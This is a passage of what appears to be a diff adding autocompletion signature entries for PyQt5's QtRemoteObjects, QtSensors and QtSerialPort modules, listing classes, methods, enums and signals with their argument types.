+QtRemoteObjects.QRemoteObjectNode.remoteObjectRemoved?4(unknown-type) +QtRemoteObjects.QRemoteObjectNode.error?4(QRemoteObjectNode.ErrorCode) +QtRemoteObjects.QRemoteObjectNode.heartbeatIntervalChanged?4(int) +QtRemoteObjects.QRemoteObjectNode.timerEvent?4(QTimerEvent) +QtRemoteObjects.QRemoteObjectHostBase.AllowedSchemas?10 +QtRemoteObjects.QRemoteObjectHostBase.AllowedSchemas.BuiltInSchemasOnly?10 +QtRemoteObjects.QRemoteObjectHostBase.AllowedSchemas.AllowExternalRegistration?10 +QtRemoteObjects.QRemoteObjectHostBase.setName?4(QString) +QtRemoteObjects.QRemoteObjectHostBase.enableRemoting?4(QObject, QString name='') -> bool +QtRemoteObjects.QRemoteObjectHostBase.enableRemoting?4(QAbstractItemModel, QString, unknown-type, QItemSelectionModel selectionModel=None) -> bool +QtRemoteObjects.QRemoteObjectHostBase.disableRemoting?4(QObject) -> bool +QtRemoteObjects.QRemoteObjectHostBase.addHostSideConnection?4(QIODevice) +QtRemoteObjects.QRemoteObjectHostBase.proxy?4(QUrl, QUrl hostUrl=QUrl()) -> bool +QtRemoteObjects.QRemoteObjectHostBase.reverseProxy?4() -> bool +QtRemoteObjects.QRemoteObjectHost?1(QObject parent=None) +QtRemoteObjects.QRemoteObjectHost.__init__?1(self, QObject parent=None) +QtRemoteObjects.QRemoteObjectHost?1(QUrl, QUrl registryAddress=QUrl(), QRemoteObjectHostBase.AllowedSchemas allowedSchemas=QRemoteObjectHostBase.BuiltInSchemasOnly, QObject parent=None) +QtRemoteObjects.QRemoteObjectHost.__init__?1(self, QUrl, QUrl registryAddress=QUrl(), QRemoteObjectHostBase.AllowedSchemas allowedSchemas=QRemoteObjectHostBase.BuiltInSchemasOnly, QObject parent=None) +QtRemoteObjects.QRemoteObjectHost?1(QUrl, QObject) +QtRemoteObjects.QRemoteObjectHost.__init__?1(self, QUrl, QObject) +QtRemoteObjects.QRemoteObjectHost.hostUrl?4() -> QUrl +QtRemoteObjects.QRemoteObjectHost.setHostUrl?4(QUrl, QRemoteObjectHostBase.AllowedSchemas allowedSchemas=QRemoteObjectHostBase.BuiltInSchemasOnly) -> bool +QtRemoteObjects.QRemoteObjectHost.hostUrlChanged?4() +QtRemoteObjects.QRemoteObjectRegistryHost?1(QUrl registryAddress=QUrl(), QObject parent=None) +QtRemoteObjects.QRemoteObjectRegistryHost.__init__?1(self, QUrl registryAddress=QUrl(), QObject parent=None) +QtRemoteObjects.QRemoteObjectRegistryHost.setRegistryUrl?4(QUrl) -> bool +QtRemoteObjects.QRemoteObjectRegistry.sourceLocations?4() -> unknown-type +QtRemoteObjects.QRemoteObjectRegistry.remoteObjectAdded?4(unknown-type) +QtRemoteObjects.QRemoteObjectRegistry.remoteObjectRemoved?4(unknown-type) +QtRemoteObjects.QRemoteObjectSourceLocationInfo.hostUrl?7 +QtRemoteObjects.QRemoteObjectSourceLocationInfo.typeName?7 +QtRemoteObjects.QRemoteObjectSourceLocationInfo?1() +QtRemoteObjects.QRemoteObjectSourceLocationInfo.__init__?1(self) +QtRemoteObjects.QRemoteObjectSourceLocationInfo?1(QString, QUrl) +QtRemoteObjects.QRemoteObjectSourceLocationInfo.__init__?1(self, QString, QUrl) +QtRemoteObjects.QRemoteObjectSourceLocationInfo?1(QRemoteObjectSourceLocationInfo) +QtRemoteObjects.QRemoteObjectSourceLocationInfo.__init__?1(self, QRemoteObjectSourceLocationInfo) +QtRemoteObjects.QtRemoteObjects.InitialAction?10 +QtRemoteObjects.QtRemoteObjects.InitialAction.FetchRootSize?10 +QtRemoteObjects.QtRemoteObjects.InitialAction.PrefetchData?10 +QtSensors.QSensorReading.timestamp?4() -> int +QtSensors.QSensorReading.setTimestamp?4(int) +QtSensors.QSensorReading.valueCount?4() -> int +QtSensors.QSensorReading.value?4(int) -> QVariant +QtSensors.QAccelerometerReading.x?4() -> float +QtSensors.QAccelerometerReading.setX?4(float) +QtSensors.QAccelerometerReading.y?4() -> float +QtSensors.QAccelerometerReading.setY?4(float) +QtSensors.QAccelerometerReading.z?4() -> float +QtSensors.QAccelerometerReading.setZ?4(float) +QtSensors.QSensorFilter?1() +QtSensors.QSensorFilter.__init__?1(self) +QtSensors.QSensorFilter?1(QSensorFilter) +QtSensors.QSensorFilter.__init__?1(self, QSensorFilter) +QtSensors.QSensorFilter.filter?4(QSensorReading) -> bool +QtSensors.QAccelerometerFilter?1() +QtSensors.QAccelerometerFilter.__init__?1(self) +QtSensors.QAccelerometerFilter?1(QAccelerometerFilter) +QtSensors.QAccelerometerFilter.__init__?1(self, QAccelerometerFilter) +QtSensors.QAccelerometerFilter.filter?4(QAccelerometerReading) -> bool +QtSensors.QSensor.AxesOrientationMode?10 +QtSensors.QSensor.AxesOrientationMode.FixedOrientation?10 +QtSensors.QSensor.AxesOrientationMode.AutomaticOrientation?10 +QtSensors.QSensor.AxesOrientationMode.UserOrientation?10 +QtSensors.QSensor.Feature?10 +QtSensors.QSensor.Feature.Buffering?10 +QtSensors.QSensor.Feature.AlwaysOn?10 +QtSensors.QSensor.Feature.GeoValues?10 +QtSensors.QSensor.Feature.FieldOfView?10 +QtSensors.QSensor.Feature.AccelerationMode?10 +QtSensors.QSensor.Feature.SkipDuplicates?10 +QtSensors.QSensor.Feature.AxesOrientation?10 +QtSensors.QSensor.Feature.PressureSensorTemperature?10 +QtSensors.QSensor?1(QByteArray, QObject parent=None) +QtSensors.QSensor.__init__?1(self, QByteArray, QObject parent=None) +QtSensors.QSensor.identifier?4() -> QByteArray +QtSensors.QSensor.setIdentifier?4(QByteArray) +QtSensors.QSensor.type?4() -> QByteArray +QtSensors.QSensor.connectToBackend?4() -> bool +QtSensors.QSensor.isConnectedToBackend?4() -> bool +QtSensors.QSensor.isBusy?4() -> bool +QtSensors.QSensor.setActive?4(bool) +QtSensors.QSensor.isActive?4() -> bool +QtSensors.QSensor.isAlwaysOn?4() -> bool +QtSensors.QSensor.setAlwaysOn?4(bool) +QtSensors.QSensor.skipDuplicates?4() -> bool +QtSensors.QSensor.setSkipDuplicates?4(bool) +QtSensors.QSensor.availableDataRates?4() -> unknown-type +QtSensors.QSensor.dataRate?4() -> int +QtSensors.QSensor.setDataRate?4(int) +QtSensors.QSensor.outputRanges?4() -> unknown-type +QtSensors.QSensor.outputRange?4() -> int +QtSensors.QSensor.setOutputRange?4(int) +QtSensors.QSensor.description?4() -> QString +QtSensors.QSensor.error?4() -> int +QtSensors.QSensor.addFilter?4(QSensorFilter) +QtSensors.QSensor.removeFilter?4(QSensorFilter) +QtSensors.QSensor.filters?4() -> unknown-type +QtSensors.QSensor.reading?4() -> QSensorReading +QtSensors.QSensor.sensorTypes?4() -> unknown-type +QtSensors.QSensor.sensorsForType?4(QByteArray) -> unknown-type +QtSensors.QSensor.defaultSensorForType?4(QByteArray) -> QByteArray +QtSensors.QSensor.isFeatureSupported?4(QSensor.Feature) -> bool +QtSensors.QSensor.axesOrientationMode?4() -> QSensor.AxesOrientationMode +QtSensors.QSensor.setAxesOrientationMode?4(QSensor.AxesOrientationMode) +QtSensors.QSensor.currentOrientation?4() -> int +QtSensors.QSensor.setCurrentOrientation?4(int) +QtSensors.QSensor.userOrientation?4() -> int +QtSensors.QSensor.setUserOrientation?4(int) +QtSensors.QSensor.maxBufferSize?4() -> int +QtSensors.QSensor.setMaxBufferSize?4(int) +QtSensors.QSensor.efficientBufferSize?4() -> int +QtSensors.QSensor.setEfficientBufferSize?4(int) +QtSensors.QSensor.bufferSize?4() -> int +QtSensors.QSensor.setBufferSize?4(int) +QtSensors.QSensor.start?4() -> bool +QtSensors.QSensor.stop?4() +QtSensors.QSensor.busyChanged?4() +QtSensors.QSensor.activeChanged?4() +QtSensors.QSensor.readingChanged?4() +QtSensors.QSensor.sensorError?4(int) +QtSensors.QSensor.availableSensorsChanged?4() +QtSensors.QSensor.alwaysOnChanged?4() +QtSensors.QSensor.dataRateChanged?4() +QtSensors.QSensor.skipDuplicatesChanged?4(bool) +QtSensors.QSensor.axesOrientationModeChanged?4(QSensor.AxesOrientationMode) +QtSensors.QSensor.currentOrientationChanged?4(int) +QtSensors.QSensor.userOrientationChanged?4(int) +QtSensors.QSensor.maxBufferSizeChanged?4(int) +QtSensors.QSensor.efficientBufferSizeChanged?4(int) +QtSensors.QSensor.bufferSizeChanged?4(int) +QtSensors.QAccelerometer.AccelerationMode?10 +QtSensors.QAccelerometer.AccelerationMode.Combined?10 +QtSensors.QAccelerometer.AccelerationMode.Gravity?10 +QtSensors.QAccelerometer.AccelerationMode.User?10 +QtSensors.QAccelerometer?1(QObject parent=None) +QtSensors.QAccelerometer.__init__?1(self, QObject parent=None) +QtSensors.QAccelerometer.accelerationMode?4() -> QAccelerometer.AccelerationMode +QtSensors.QAccelerometer.setAccelerationMode?4(QAccelerometer.AccelerationMode) +QtSensors.QAccelerometer.reading?4() -> QAccelerometerReading +QtSensors.QAccelerometer.accelerationModeChanged?4(QAccelerometer.AccelerationMode) +QtSensors.QAltimeterReading.altitude?4() -> float +QtSensors.QAltimeterReading.setAltitude?4(float) +QtSensors.QAltimeterFilter?1() +QtSensors.QAltimeterFilter.__init__?1(self) +QtSensors.QAltimeterFilter?1(QAltimeterFilter) +QtSensors.QAltimeterFilter.__init__?1(self, QAltimeterFilter) +QtSensors.QAltimeterFilter.filter?4(QAltimeterReading) -> bool +QtSensors.QAltimeter?1(QObject parent=None) +QtSensors.QAltimeter.__init__?1(self, QObject parent=None) +QtSensors.QAltimeter.reading?4() -> QAltimeterReading +QtSensors.QAmbientLightReading.LightLevel?10 +QtSensors.QAmbientLightReading.LightLevel.Undefined?10 +QtSensors.QAmbientLightReading.LightLevel.Dark?10 +QtSensors.QAmbientLightReading.LightLevel.Twilight?10 +QtSensors.QAmbientLightReading.LightLevel.Light?10 +QtSensors.QAmbientLightReading.LightLevel.Bright?10 +QtSensors.QAmbientLightReading.LightLevel.Sunny?10 +QtSensors.QAmbientLightReading.lightLevel?4() -> QAmbientLightReading.LightLevel +QtSensors.QAmbientLightReading.setLightLevel?4(QAmbientLightReading.LightLevel) +QtSensors.QAmbientLightFilter?1() +QtSensors.QAmbientLightFilter.__init__?1(self) +QtSensors.QAmbientLightFilter?1(QAmbientLightFilter) +QtSensors.QAmbientLightFilter.__init__?1(self, QAmbientLightFilter) +QtSensors.QAmbientLightFilter.filter?4(QAmbientLightReading) -> bool +QtSensors.QAmbientLightSensor?1(QObject parent=None) +QtSensors.QAmbientLightSensor.__init__?1(self, QObject parent=None) +QtSensors.QAmbientLightSensor.reading?4() -> QAmbientLightReading +QtSensors.QAmbientTemperatureReading.temperature?4() -> float +QtSensors.QAmbientTemperatureReading.setTemperature?4(float) +QtSensors.QAmbientTemperatureFilter?1() +QtSensors.QAmbientTemperatureFilter.__init__?1(self) +QtSensors.QAmbientTemperatureFilter?1(QAmbientTemperatureFilter) +QtSensors.QAmbientTemperatureFilter.__init__?1(self, QAmbientTemperatureFilter) +QtSensors.QAmbientTemperatureFilter.filter?4(QAmbientTemperatureReading) -> bool +QtSensors.QAmbientTemperatureSensor?1(QObject parent=None) +QtSensors.QAmbientTemperatureSensor.__init__?1(self, QObject parent=None) +QtSensors.QAmbientTemperatureSensor.reading?4() -> QAmbientTemperatureReading +QtSensors.QCompassReading.azimuth?4() -> float +QtSensors.QCompassReading.setAzimuth?4(float) +QtSensors.QCompassReading.calibrationLevel?4() -> float +QtSensors.QCompassReading.setCalibrationLevel?4(float) +QtSensors.QCompassFilter?1() +QtSensors.QCompassFilter.__init__?1(self) +QtSensors.QCompassFilter?1(QCompassFilter) +QtSensors.QCompassFilter.__init__?1(self, QCompassFilter) +QtSensors.QCompassFilter.filter?4(QCompassReading) -> bool +QtSensors.QCompass?1(QObject parent=None) +QtSensors.QCompass.__init__?1(self, QObject parent=None) +QtSensors.QCompass.reading?4() -> QCompassReading +QtSensors.QDistanceReading.distance?4() -> float +QtSensors.QDistanceReading.setDistance?4(float) +QtSensors.QDistanceFilter?1() +QtSensors.QDistanceFilter.__init__?1(self) +QtSensors.QDistanceFilter?1(QDistanceFilter) +QtSensors.QDistanceFilter.__init__?1(self, QDistanceFilter) +QtSensors.QDistanceFilter.filter?4(QDistanceReading) -> bool +QtSensors.QDistanceSensor?1(QObject parent=None) +QtSensors.QDistanceSensor.__init__?1(self, QObject parent=None) +QtSensors.QDistanceSensor.reading?4() -> QDistanceReading +QtSensors.QGyroscopeReading.x?4() -> float +QtSensors.QGyroscopeReading.setX?4(float) +QtSensors.QGyroscopeReading.y?4() -> float +QtSensors.QGyroscopeReading.setY?4(float) +QtSensors.QGyroscopeReading.z?4() -> float +QtSensors.QGyroscopeReading.setZ?4(float) +QtSensors.QGyroscopeFilter?1() +QtSensors.QGyroscopeFilter.__init__?1(self) +QtSensors.QGyroscopeFilter?1(QGyroscopeFilter) +QtSensors.QGyroscopeFilter.__init__?1(self, QGyroscopeFilter) +QtSensors.QGyroscopeFilter.filter?4(QGyroscopeReading) -> bool +QtSensors.QGyroscope?1(QObject parent=None) +QtSensors.QGyroscope.__init__?1(self, QObject parent=None) +QtSensors.QGyroscope.reading?4() -> QGyroscopeReading +QtSensors.QHolsterReading.holstered?4() -> bool +QtSensors.QHolsterReading.setHolstered?4(bool) +QtSensors.QHolsterFilter?1() +QtSensors.QHolsterFilter.__init__?1(self) +QtSensors.QHolsterFilter?1(QHolsterFilter) +QtSensors.QHolsterFilter.__init__?1(self, QHolsterFilter) +QtSensors.QHolsterFilter.filter?4(QHolsterReading) -> bool +QtSensors.QHolsterSensor?1(QObject parent=None) +QtSensors.QHolsterSensor.__init__?1(self, QObject parent=None) +QtSensors.QHolsterSensor.reading?4() -> QHolsterReading +QtSensors.QHumidityReading.relativeHumidity?4() -> float +QtSensors.QHumidityReading.setRelativeHumidity?4(float) +QtSensors.QHumidityReading.absoluteHumidity?4() -> float +QtSensors.QHumidityReading.setAbsoluteHumidity?4(float) +QtSensors.QHumidityFilter?1() +QtSensors.QHumidityFilter.__init__?1(self) +QtSensors.QHumidityFilter?1(QHumidityFilter) +QtSensors.QHumidityFilter.__init__?1(self, QHumidityFilter) +QtSensors.QHumidityFilter.filter?4(QHumidityReading) -> bool +QtSensors.QHumiditySensor?1(QObject parent=None) +QtSensors.QHumiditySensor.__init__?1(self, QObject parent=None) +QtSensors.QHumiditySensor.reading?4() -> QHumidityReading +QtSensors.QIRProximityReading.reflectance?4() -> float +QtSensors.QIRProximityReading.setReflectance?4(float) +QtSensors.QIRProximityFilter?1() +QtSensors.QIRProximityFilter.__init__?1(self) +QtSensors.QIRProximityFilter?1(QIRProximityFilter) +QtSensors.QIRProximityFilter.__init__?1(self, QIRProximityFilter) +QtSensors.QIRProximityFilter.filter?4(QIRProximityReading) -> bool +QtSensors.QIRProximitySensor?1(QObject parent=None) +QtSensors.QIRProximitySensor.__init__?1(self, QObject parent=None) +QtSensors.QIRProximitySensor.reading?4() -> QIRProximityReading +QtSensors.QLidReading.backLidClosed?4() -> bool +QtSensors.QLidReading.setBackLidClosed?4(bool) +QtSensors.QLidReading.frontLidClosed?4() -> bool +QtSensors.QLidReading.setFrontLidClosed?4(bool) +QtSensors.QLidReading.backLidChanged?4(bool) +QtSensors.QLidReading.frontLidChanged?4(bool) +QtSensors.QLidFilter?1() +QtSensors.QLidFilter.__init__?1(self) +QtSensors.QLidFilter?1(QLidFilter) +QtSensors.QLidFilter.__init__?1(self, QLidFilter) +QtSensors.QLidFilter.filter?4(QLidReading) -> bool +QtSensors.QLidSensor?1(QObject parent=None) +QtSensors.QLidSensor.__init__?1(self, QObject parent=None) +QtSensors.QLidSensor.reading?4() -> QLidReading +QtSensors.QLightReading.lux?4() -> float +QtSensors.QLightReading.setLux?4(float) +QtSensors.QLightFilter?1() +QtSensors.QLightFilter.__init__?1(self) +QtSensors.QLightFilter?1(QLightFilter) +QtSensors.QLightFilter.__init__?1(self, QLightFilter) +QtSensors.QLightFilter.filter?4(QLightReading) -> bool +QtSensors.QLightSensor?1(QObject parent=None) +QtSensors.QLightSensor.__init__?1(self, QObject parent=None) +QtSensors.QLightSensor.reading?4() -> QLightReading +QtSensors.QLightSensor.fieldOfView?4() -> float +QtSensors.QLightSensor.setFieldOfView?4(float) +QtSensors.QLightSensor.fieldOfViewChanged?4(float) +QtSensors.QMagnetometerReading.x?4() -> float +QtSensors.QMagnetometerReading.setX?4(float) +QtSensors.QMagnetometerReading.y?4() -> float +QtSensors.QMagnetometerReading.setY?4(float) +QtSensors.QMagnetometerReading.z?4() -> float +QtSensors.QMagnetometerReading.setZ?4(float) +QtSensors.QMagnetometerReading.calibrationLevel?4() -> float +QtSensors.QMagnetometerReading.setCalibrationLevel?4(float) +QtSensors.QMagnetometerFilter?1() +QtSensors.QMagnetometerFilter.__init__?1(self) +QtSensors.QMagnetometerFilter?1(QMagnetometerFilter) +QtSensors.QMagnetometerFilter.__init__?1(self, QMagnetometerFilter) +QtSensors.QMagnetometerFilter.filter?4(QMagnetometerReading) -> bool +QtSensors.QMagnetometer?1(QObject parent=None) +QtSensors.QMagnetometer.__init__?1(self, QObject parent=None) +QtSensors.QMagnetometer.reading?4() -> QMagnetometerReading +QtSensors.QMagnetometer.returnGeoValues?4() -> bool +QtSensors.QMagnetometer.setReturnGeoValues?4(bool) +QtSensors.QMagnetometer.returnGeoValuesChanged?4(bool) +QtSensors.QOrientationReading.Orientation?10 +QtSensors.QOrientationReading.Orientation.Undefined?10 +QtSensors.QOrientationReading.Orientation.TopUp?10 +QtSensors.QOrientationReading.Orientation.TopDown?10 +QtSensors.QOrientationReading.Orientation.LeftUp?10 +QtSensors.QOrientationReading.Orientation.RightUp?10 +QtSensors.QOrientationReading.Orientation.FaceUp?10 +QtSensors.QOrientationReading.Orientation.FaceDown?10 +QtSensors.QOrientationReading.orientation?4() -> QOrientationReading.Orientation +QtSensors.QOrientationReading.setOrientation?4(QOrientationReading.Orientation) +QtSensors.QOrientationFilter?1() +QtSensors.QOrientationFilter.__init__?1(self) +QtSensors.QOrientationFilter?1(QOrientationFilter) +QtSensors.QOrientationFilter.__init__?1(self, QOrientationFilter) +QtSensors.QOrientationFilter.filter?4(QOrientationReading) -> bool +QtSensors.QOrientationSensor?1(QObject parent=None) +QtSensors.QOrientationSensor.__init__?1(self, QObject parent=None) +QtSensors.QOrientationSensor.reading?4() -> QOrientationReading +QtSensors.QPressureReading.pressure?4() -> float +QtSensors.QPressureReading.setPressure?4(float) +QtSensors.QPressureReading.temperature?4() -> float +QtSensors.QPressureReading.setTemperature?4(float) +QtSensors.QPressureFilter?1() +QtSensors.QPressureFilter.__init__?1(self) +QtSensors.QPressureFilter?1(QPressureFilter) +QtSensors.QPressureFilter.__init__?1(self, QPressureFilter) +QtSensors.QPressureFilter.filter?4(QPressureReading) -> bool +QtSensors.QPressureSensor?1(QObject parent=None) +QtSensors.QPressureSensor.__init__?1(self, QObject parent=None) +QtSensors.QPressureSensor.reading?4() -> QPressureReading +QtSensors.QProximityReading.close?4() -> bool +QtSensors.QProximityReading.setClose?4(bool) +QtSensors.QProximityFilter?1() +QtSensors.QProximityFilter.__init__?1(self) +QtSensors.QProximityFilter?1(QProximityFilter) +QtSensors.QProximityFilter.__init__?1(self, QProximityFilter) +QtSensors.QProximityFilter.filter?4(QProximityReading) -> bool +QtSensors.QProximitySensor?1(QObject parent=None) +QtSensors.QProximitySensor.__init__?1(self, QObject parent=None) +QtSensors.QProximitySensor.reading?4() -> QProximityReading +QtSensors.qoutputrange.accuracy?7 +QtSensors.qoutputrange.maximum?7 +QtSensors.qoutputrange.minimum?7 +QtSensors.qoutputrange?1() +QtSensors.qoutputrange.__init__?1(self) +QtSensors.qoutputrange?1(qoutputrange) +QtSensors.qoutputrange.__init__?1(self, qoutputrange) +QtSensors.QTapReading.TapDirection?10 +QtSensors.QTapReading.TapDirection.Undefined?10 +QtSensors.QTapReading.TapDirection.X?10 +QtSensors.QTapReading.TapDirection.Y?10 +QtSensors.QTapReading.TapDirection.Z?10 +QtSensors.QTapReading.TapDirection.X_Pos?10 +QtSensors.QTapReading.TapDirection.Y_Pos?10 +QtSensors.QTapReading.TapDirection.Z_Pos?10 +QtSensors.QTapReading.TapDirection.X_Neg?10 +QtSensors.QTapReading.TapDirection.Y_Neg?10 +QtSensors.QTapReading.TapDirection.Z_Neg?10 +QtSensors.QTapReading.TapDirection.X_Both?10 +QtSensors.QTapReading.TapDirection.Y_Both?10 +QtSensors.QTapReading.TapDirection.Z_Both?10 +QtSensors.QTapReading.tapDirection?4() -> QTapReading.TapDirection +QtSensors.QTapReading.setTapDirection?4(QTapReading.TapDirection) +QtSensors.QTapReading.isDoubleTap?4() -> bool +QtSensors.QTapReading.setDoubleTap?4(bool) +QtSensors.QTapFilter?1() +QtSensors.QTapFilter.__init__?1(self) +QtSensors.QTapFilter?1(QTapFilter) +QtSensors.QTapFilter.__init__?1(self, QTapFilter) +QtSensors.QTapFilter.filter?4(QTapReading) -> bool +QtSensors.QTapSensor?1(QObject parent=None) +QtSensors.QTapSensor.__init__?1(self, QObject parent=None) +QtSensors.QTapSensor.reading?4() -> QTapReading +QtSensors.QTapSensor.returnDoubleTapEvents?4() -> bool +QtSensors.QTapSensor.setReturnDoubleTapEvents?4(bool) +QtSensors.QTapSensor.returnDoubleTapEventsChanged?4(bool) +QtSensors.QTiltReading.yRotation?4() -> float +QtSensors.QTiltReading.setYRotation?4(float) +QtSensors.QTiltReading.xRotation?4() -> float +QtSensors.QTiltReading.setXRotation?4(float) +QtSensors.QTiltFilter?1() +QtSensors.QTiltFilter.__init__?1(self) +QtSensors.QTiltFilter?1(QTiltFilter) +QtSensors.QTiltFilter.__init__?1(self, QTiltFilter) +QtSensors.QTiltFilter.filter?4(QTiltReading) -> bool +QtSensors.QTiltSensor?1(QObject parent=None) +QtSensors.QTiltSensor.__init__?1(self, QObject parent=None) +QtSensors.QTiltSensor.reading?4() -> QTiltReading +QtSensors.QTiltSensor.calibrate?4() +QtSensors.QRotationReading.x?4() -> float +QtSensors.QRotationReading.y?4() -> float +QtSensors.QRotationReading.z?4() -> float +QtSensors.QRotationReading.setFromEuler?4(float, float, float) +QtSensors.QRotationFilter?1() +QtSensors.QRotationFilter.__init__?1(self) +QtSensors.QRotationFilter?1(QRotationFilter) +QtSensors.QRotationFilter.__init__?1(self, QRotationFilter) +QtSensors.QRotationFilter.filter?4(QRotationReading) -> bool +QtSensors.QRotationSensor?1(QObject parent=None) +QtSensors.QRotationSensor.__init__?1(self, QObject parent=None) +QtSensors.QRotationSensor.reading?4() -> QRotationReading +QtSensors.QRotationSensor.hasZ?4() -> bool +QtSensors.QRotationSensor.setHasZ?4(bool) +QtSensors.QRotationSensor.hasZChanged?4(bool) +QtSerialPort.QSerialPort.SerialPortError?10 +QtSerialPort.QSerialPort.SerialPortError.NoError?10 +QtSerialPort.QSerialPort.SerialPortError.DeviceNotFoundError?10 +QtSerialPort.QSerialPort.SerialPortError.PermissionError?10 +QtSerialPort.QSerialPort.SerialPortError.OpenError?10 +QtSerialPort.QSerialPort.SerialPortError.ParityError?10 +QtSerialPort.QSerialPort.SerialPortError.FramingError?10 +QtSerialPort.QSerialPort.SerialPortError.BreakConditionError?10 +QtSerialPort.QSerialPort.SerialPortError.WriteError?10 +QtSerialPort.QSerialPort.SerialPortError.ReadError?10 +QtSerialPort.QSerialPort.SerialPortError.ResourceError?10 +QtSerialPort.QSerialPort.SerialPortError.UnsupportedOperationError?10 +QtSerialPort.QSerialPort.SerialPortError.TimeoutError?10 +QtSerialPort.QSerialPort.SerialPortError.NotOpenError?10 +QtSerialPort.QSerialPort.SerialPortError.UnknownError?10 +QtSerialPort.QSerialPort.DataErrorPolicy?10 +QtSerialPort.QSerialPort.DataErrorPolicy.SkipPolicy?10 +QtSerialPort.QSerialPort.DataErrorPolicy.PassZeroPolicy?10 +QtSerialPort.QSerialPort.DataErrorPolicy.IgnorePolicy?10 +QtSerialPort.QSerialPort.DataErrorPolicy.StopReceivingPolicy?10 +QtSerialPort.QSerialPort.DataErrorPolicy.UnknownPolicy?10 +QtSerialPort.QSerialPort.PinoutSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.NoSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.TransmittedDataSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.ReceivedDataSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.DataTerminalReadySignal?10 +QtSerialPort.QSerialPort.PinoutSignal.DataCarrierDetectSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.DataSetReadySignal?10 +QtSerialPort.QSerialPort.PinoutSignal.RingIndicatorSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.RequestToSendSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.ClearToSendSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.SecondaryTransmittedDataSignal?10 +QtSerialPort.QSerialPort.PinoutSignal.SecondaryReceivedDataSignal?10 +QtSerialPort.QSerialPort.FlowControl?10 +QtSerialPort.QSerialPort.FlowControl.NoFlowControl?10 +QtSerialPort.QSerialPort.FlowControl.HardwareControl?10 +QtSerialPort.QSerialPort.FlowControl.SoftwareControl?10 +QtSerialPort.QSerialPort.FlowControl.UnknownFlowControl?10 +QtSerialPort.QSerialPort.StopBits?10 +QtSerialPort.QSerialPort.StopBits.OneStop?10 +QtSerialPort.QSerialPort.StopBits.OneAndHalfStop?10 +QtSerialPort.QSerialPort.StopBits.TwoStop?10 +QtSerialPort.QSerialPort.StopBits.UnknownStopBits?10 +QtSerialPort.QSerialPort.Parity?10 +QtSerialPort.QSerialPort.Parity.NoParity?10 +QtSerialPort.QSerialPort.Parity.EvenParity?10 +QtSerialPort.QSerialPort.Parity.OddParity?10 +QtSerialPort.QSerialPort.Parity.SpaceParity?10 +QtSerialPort.QSerialPort.Parity.MarkParity?10 +QtSerialPort.QSerialPort.Parity.UnknownParity?10 +QtSerialPort.QSerialPort.DataBits?10 +QtSerialPort.QSerialPort.DataBits.Data5?10 +QtSerialPort.QSerialPort.DataBits.Data6?10 +QtSerialPort.QSerialPort.DataBits.Data7?10 +QtSerialPort.QSerialPort.DataBits.Data8?10 +QtSerialPort.QSerialPort.DataBits.UnknownDataBits?10 +QtSerialPort.QSerialPort.BaudRate?10 +QtSerialPort.QSerialPort.BaudRate.Baud1200?10 +QtSerialPort.QSerialPort.BaudRate.Baud2400?10 +QtSerialPort.QSerialPort.BaudRate.Baud4800?10 +QtSerialPort.QSerialPort.BaudRate.Baud9600?10 +QtSerialPort.QSerialPort.BaudRate.Baud19200?10 +QtSerialPort.QSerialPort.BaudRate.Baud38400?10 +QtSerialPort.QSerialPort.BaudRate.Baud57600?10 +QtSerialPort.QSerialPort.BaudRate.Baud115200?10 +QtSerialPort.QSerialPort.BaudRate.UnknownBaud?10 +QtSerialPort.QSerialPort.Direction?10 +QtSerialPort.QSerialPort.Direction.Input?10 +QtSerialPort.QSerialPort.Direction.Output?10 +QtSerialPort.QSerialPort.Direction.AllDirections?10 +QtSerialPort.QSerialPort?1(QObject parent=None) +QtSerialPort.QSerialPort.__init__?1(self, QObject parent=None) +QtSerialPort.QSerialPort?1(QString, QObject parent=None) +QtSerialPort.QSerialPort.__init__?1(self, QString, QObject parent=None) +QtSerialPort.QSerialPort?1(QSerialPortInfo, QObject parent=None) +QtSerialPort.QSerialPort.__init__?1(self, QSerialPortInfo, QObject parent=None) +QtSerialPort.QSerialPort.setPortName?4(QString) +QtSerialPort.QSerialPort.portName?4() -> QString +QtSerialPort.QSerialPort.setPort?4(QSerialPortInfo) +QtSerialPort.QSerialPort.open?4(QIODevice.OpenMode) -> bool +QtSerialPort.QSerialPort.close?4() +QtSerialPort.QSerialPort.setSettingsRestoredOnClose?4(bool) +QtSerialPort.QSerialPort.settingsRestoredOnClose?4() -> bool +QtSerialPort.QSerialPort.setBaudRate?4(int, QSerialPort.Directions dir=QSerialPort.AllDirections) -> bool +QtSerialPort.QSerialPort.baudRate?4(QSerialPort.Directions dir=QSerialPort.AllDirections) -> int +QtSerialPort.QSerialPort.setDataBits?4(QSerialPort.DataBits) -> bool +QtSerialPort.QSerialPort.dataBits?4() -> QSerialPort.DataBits +QtSerialPort.QSerialPort.setParity?4(QSerialPort.Parity) -> bool +QtSerialPort.QSerialPort.parity?4() -> QSerialPort.Parity +QtSerialPort.QSerialPort.setStopBits?4(QSerialPort.StopBits) -> bool +QtSerialPort.QSerialPort.stopBits?4() -> QSerialPort.StopBits +QtSerialPort.QSerialPort.setFlowControl?4(QSerialPort.FlowControl) -> bool +QtSerialPort.QSerialPort.flowControl?4() -> QSerialPort.FlowControl +QtSerialPort.QSerialPort.setDataTerminalReady?4(bool) -> bool +QtSerialPort.QSerialPort.isDataTerminalReady?4() -> bool +QtSerialPort.QSerialPort.setRequestToSend?4(bool) -> bool +QtSerialPort.QSerialPort.isRequestToSend?4() -> bool +QtSerialPort.QSerialPort.pinoutSignals?4() -> QSerialPort.PinoutSignals +QtSerialPort.QSerialPort.flush?4() -> bool +QtSerialPort.QSerialPort.clear?4(QSerialPort.Directions dir=QSerialPort.AllDirections) -> bool +QtSerialPort.QSerialPort.atEnd?4() -> bool +QtSerialPort.QSerialPort.setDataErrorPolicy?4(QSerialPort.DataErrorPolicy policy=QSerialPort.IgnorePolicy) -> bool +QtSerialPort.QSerialPort.dataErrorPolicy?4() -> QSerialPort.DataErrorPolicy +QtSerialPort.QSerialPort.error?4() -> QSerialPort.SerialPortError +QtSerialPort.QSerialPort.clearError?4() +QtSerialPort.QSerialPort.readBufferSize?4() -> int +QtSerialPort.QSerialPort.setReadBufferSize?4(int) +QtSerialPort.QSerialPort.isSequential?4() -> bool 